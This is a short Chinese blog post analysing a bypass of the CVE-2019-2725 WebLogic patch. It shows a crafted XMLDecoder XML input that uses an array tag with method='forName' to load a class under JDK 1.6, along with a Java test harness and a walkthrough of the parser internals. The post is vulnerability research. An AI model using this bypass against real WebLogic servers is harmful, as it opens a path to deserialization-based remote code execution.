前言
簡單的水一篇
這兩天網上公佈了CVE-2019-2725的補丁使用array標籤+method屬性來獲取Class的繞過,這裏簡單分析一下。
由於JDK1.7以上的XMLDecoder對每種標籤支持的屬性有嚴格的限制,所以此方法只適用於JDK1.6。
看本文之前建議先了解一下XMLDecoder的解析流程。
雖然文章寫的是jdk1.7以上的,但是大體流程差異不大。
影響的Weblogic版本
Weblogic 10.3.6默認自帶JDK1.6,但是可以選擇使用系統中的JDK,有一定影響。
Weblogic 12以上要求JDK版本>1.6,所以這版本就沒影響了。(感謝pyn3rd師傅提醒)
關鍵點分析
測試代碼:
public static void main(String[] args) throws FileNotFoundException {
String filename = "1.xml";
XMLDecoder XD =new XMLDecoder(new FileInputStream(filename));
Object o = XD.readObject();
System.out.println(o);
}
輸入的XML
<java>
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="2">
<void index="0">
<byte>-84</byte>
</void>
<void index="1">
<byte>-19</byte>
</void>
</array>
</void>
</array>
</java>
2725的補丁過濾了object/new/method標籤,void標籤只允許用index,array的class只能用byte,並限制了長度,如上XML避開了過濾。
這裏只分析關鍵的獲取class部分,後續的實例化部分與之前的漏洞沒有區別。
com.sun.beans.ObjectHandler類,進入到處理array標籤的startElement函數調用,開頭流程如下:
- 初始化屬性HashMap。
- 創建MutableExpression對象,有關Expression看下這裏,簡單來說就是可以用類似表達式的形式來調用構造方法、數組讀寫、類函數的類。
- 遍歷class/property/index/method屬性,來設置Expression對象的Target或Method。
可以看到jdk1.6下會獲取method標籤的內容,並將其設置給創建的Expression對象,此處將method設置爲了forName。
繼續往下走,進入處理專門處理array標籤的代碼:
由於我們的array標籤沒有設置length屬性由於我們的array標籤沒有設置length,所以var11此處爲null,而後會Expression的Target設置爲一個Class對象,最終本函數會將調用Class.forName的Expression對象壓入表達式棧中。
後續步驟就剩下向該表達式添加類名參數並調用來獲取class對象,最後進行實例化,此處就不說了。
結尾
水水更健康。